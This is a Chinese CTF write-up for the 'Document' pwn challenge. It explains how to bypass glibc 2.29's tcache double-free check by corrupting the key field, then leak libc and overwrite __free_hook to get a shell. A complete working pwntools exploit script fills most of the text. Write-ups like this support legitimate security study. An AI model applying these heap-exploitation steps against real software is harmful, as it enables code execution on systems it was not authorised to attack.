0%

i春秋新春战役之Document(修改key指针绕过glibc2.29 tcache的double free检测)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,经典的增删改查程序

Delete功能没有清空指针,存在UAF漏洞

Create功能的size不可控

UAF无法修改到*heap处的内容,也就是next指针的值

Create功能最多允许创建7个堆

题目给我们的glibc版本为2.29,存在tcache机制,且增加了对tcache double free的检查。

1
2
3
4
5
6
7
typedef struct tcache_entry  
{
/*指向下一个空闲chunk*/
struct tcache_entry *next;
/* 用来检测double free*/
struct tcache_perthread_struct *key;
} tcache_entry;

让我们来看看是如何检测的吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* Check to see if it's already in the tcache.  */  
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache)) {
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

显然,[如果我们让e->key == tcache不成立,就能够double free了。]{.mark}

而之前,我们分析了edit函数,changeSex功能可以修改key指针的低1字节,那么就能使得这个不再成立。于是,我们先用double free来将0x90的tcache bin填满7个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#0  
create('a'*0x8,'a'*0x70)
#1
create('b'*0x8,'b'*0x70)
#2
create('c'*0x8,'c'*0x70)
#3
create('d'*0x8,'d'*0x70)

delete(0)
#修改key,偏移1,绕过了double free检查
edit(0,'a'*0x70)
delete(0)

delete(1)
edit(1,'a'*0x70)

delete(2)
#修改key,偏移1,绕过了double free检查
edit(2,'a'*0x70)
delete(2)

delete(3)
#修改key,偏移1,绕过了double free检查
edit(3,'a'*0x70)
delete(3)

接下来,继续delete,就能将chunk放入unsorted bin了,再利用UAF泄露地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
#由于前面,把tcache给填满了,现在这个就放入unsorted bin里  
delete(1)
show(1)

sh.recvuntil('\n')
main_arena_88 = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)

现在,堆布局是这样的

那么,就能很容易利用了。我们的完整exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#coding:utf8  
from pwn import *

sh = process('./document')
#sh = remote('node3.buuoj.cn',26208)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

def create(name,content):
sh.sendlineafter('Give me your choice :','1')
sh.sendafter('input name',name)
sh.sendafter('input sex','M')
sh.sendafter('input information',content)

def show(index):
sh.sendlineafter('Give me your choice :','2')
sh.sendlineafter('Give me your index :',str(index))

def edit(index,content,changeSex = 'Y'):
sh.sendlineafter('Give me your choice :','3')
sh.sendlineafter('Give me your index :',str(index))
#这一步至关重要
sh.sendafter('Are you sure change sex?',changeSex)
sh.sendafter('Now change information',content)

def delete(index):
sh.sendlineafter('Give me your choice :','4')
sh.sendlineafter('Give me your index :',str(index))

#0
create('a'*0x8,'a'*0x70)
#1
create('b'*0x8,'b'*0x70)
#2
create('c'*0x8,'c'*0x70)
#3
create('d'*0x8,'d'*0x70)

delete(0)
#修改key,偏移1,绕过了double free检查
edit(0,'a'*0x70)
delete(0)

delete(1)
edit(1,'a'*0x70)

delete(2)
#修改key,偏移1,绕过了double free检查
edit(2,'a'*0x70)
delete(2)

delete(3)
#修改key,偏移1,绕过了double free检查
edit(3,'a'*0x70)
delete(3)

#由于前面,把tcache给填满了,现在这个就放入unsorted bin里
delete(1)
show(1)

sh.recvuntil('\n')
main_arena_88 = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)

#将free_hook_addr链接到tcache bin
create(p64(free_hook_addr),'a'*0x70) #4
create('/bin/sh\x00','a'*0x70) #5
#写free_hook
create(p64(system_addr),'a'*0x70) #6
#getshell
delete(5)

sh.interactive()